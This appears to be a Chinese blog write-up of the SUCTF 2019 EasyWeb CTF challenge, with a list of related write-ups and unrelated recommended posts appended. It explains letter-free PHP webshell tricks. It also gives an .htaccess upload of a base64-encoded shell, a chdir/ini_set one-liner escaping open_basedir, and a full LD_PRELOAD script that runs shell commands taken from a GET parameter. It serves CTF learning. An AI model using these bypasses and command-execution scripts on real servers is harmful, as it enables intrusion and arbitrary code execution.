刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

题目复现链接:https://buuoj.cn/challenges

参考链接:SUCTF-2019

2019 SUCTF Web writeup

2019-SUCTF-web记录

一、涉及知识点

1、无数字字母shell

先贴大佬的链接:

一些不包含数字和字母的webshell

无字母数字webshell之提高篇

一道题回顾php异或webshell

这个方面充满了奇技淫巧,看的我一愣一愣,先说利用的php特性:

(1)代码中没有引号的字符都自动作为字符串

Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。

我猜这也是为什么传马的时候$_GET['cmd']$_GET[cmd]都可以

(2)Ascii码大于 0x7F 的字符都会被当作字符串

(3)php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型

(4)PHP中的的大括号(花括号{})使用详解

$str{4}在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理

${_GET}{cmd}

57)字符串可以用!操作符来进行布尔类型的转换

<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)

(6)PHP的弱类型特性

因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true2,也就是('>'>'<')+('>'>'<')2

(7)a-zA-Z使用自增变成下一个字母

'a'++ => 'b''b'++ => 'c'

2、利用.htaccess上传文件

<?被过滤时,用伪协议绕过,上传时上传base64编码过的文件

AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

3、绕过open_basedir/disable_function的几种方法

(1)chdir绕过

bypass open_basedir的新方法

通过chdir来bypass open_basedir

mkdir('xxx');chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

(2)链接文件绕过

php5全版本绕过open_basedir读文件脚本

本题中php版本较高,此方法无效

(3)disable_function绕过--利用LD_PRELOAD

很厉害的东西,我看傻了都

无需sendmail:巧用LD_PRELOAD突破disable_functions

disable_function绕过--利用LD_PRELOAD

bypass_disablefunc_via_LD_PRELOAD

条件:PHP 支持putenv()和下面用到的函数

贴上关键脚本

<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path); mail("", "", "", "");
//error_log("err",1,"","");
//$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在)
//imap_mail("","","");//需要安装imap拓展
//mb_send_mail("","",""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);
?>

(4)fpm 绕过

还没解出来,有空再更

刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)的更多相关文章

  1. 刷题记录:[SUCTF 2019]Pythonginx

    目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...

  2. 刷题记录:[SUCTF 2019]CheckIn

    目录 刷题记录:[SUCTF 2019]CheckIn 一.涉及知识点 1.利用.user.ini上传\隐藏后门 2.绕过exif_imagetype()的奇技淫巧 二.解题方法 刷题记录:[SUCT ...

  3. 刷题记录:[SUCTF 2019]EasySQL

    目录 刷题记录:[SUCTF 2019]EasySQL 一.涉及知识点 1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 3.没有过 ...

  4. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  5. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  6. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  7. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  8. 刷题记录:[CISCN 2019 初赛]Love Math

    目录 刷题记录:[CISCN 2019 初赛]Love Math 思路一 思路二 总结 刷题记录:[CISCN 2019 初赛]Love Math 题目复现链接:https://buuoj.cn/ch ...

  9. 刷题记录:[ByteCTF 2019]EZCMS

    目录 刷题记录:[ByteCTF 2019]EZCMS 一.知识点 1.源码泄露 2.MD5长度扩展攻击 3.php://filter绕过正则实现phar反序列化 刷题记录:[ByteCTF 2019 ...

随机推荐

  1. TypeScript编写Vue项目结构解析

    使用TypeScript编写Vue项目也已经有了一段时间,笔者在刚刚使用TypeScript时候也是很茫然,不知道从何下手,感觉使用TypeScript写项目感觉很累赘并不像JavaScript那么灵 ...

  2. Oracle数据库之查询

    一.单表简单查询: 1. select * from scott.emp 2.去重: --去除重复记录 select distinct ssex from java0322; select disti ...

  3. Kali软件库认识

    对kali上的软件进行一个初步的认识 信息收集 dmitry -o 将输出保存到%host.txt或由-o文件指定的文件 -i 对主机的IP地址执行whois查找 -w 对主机的域名执行whois查找 ...

  4. 代码实现排列组合【Java】

    一.代码实现 package zhen; import java.util.Arrays; public class Arrangement { /** * 计算阶乘数,即n! = n * (n-1) ...

  5. 【OEM】OEM安装维护

    [OEM]OEM安装维护 一.1  BLOG文档结构图       一.2  前言部分   一.2.1  导读和注意事项 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道 ...

  6. CAD中如何将图形按一定的比例放大或缩小

    1.双击CAD快捷键图标,打开CAD绘图界面: 2.以正五边形为例,点击左边的正多边形按钮: 3.绘制好后得到五边形图形: 4.给图形做好尺寸标注方便直观比较: 5.选择图像在命令行输入sc命令,按键 ...

  7. UML——从类图到C++

    简易软件开发流程 实践中,use case and description.class diagram与sequence diagram三者搭配,几乎是UML项目的基本类型,所以在分工或外包的设计文档 ...

  8. springboot socketio

    pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="htt ...

  9. spring cloud (七) Config server基于svn配置

    1 pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="h ...

  10. Python开发AI应用-国际象棋应用

    AI 部分总述     AI在做出决策前经过三个不同的步骤.首先,他找到所有规则允许的棋步(通常在开局时会有20-30种,随后会降低到几种).其次,它生成一个棋步树用来随后决定最佳决策.虽然树的大小随 ...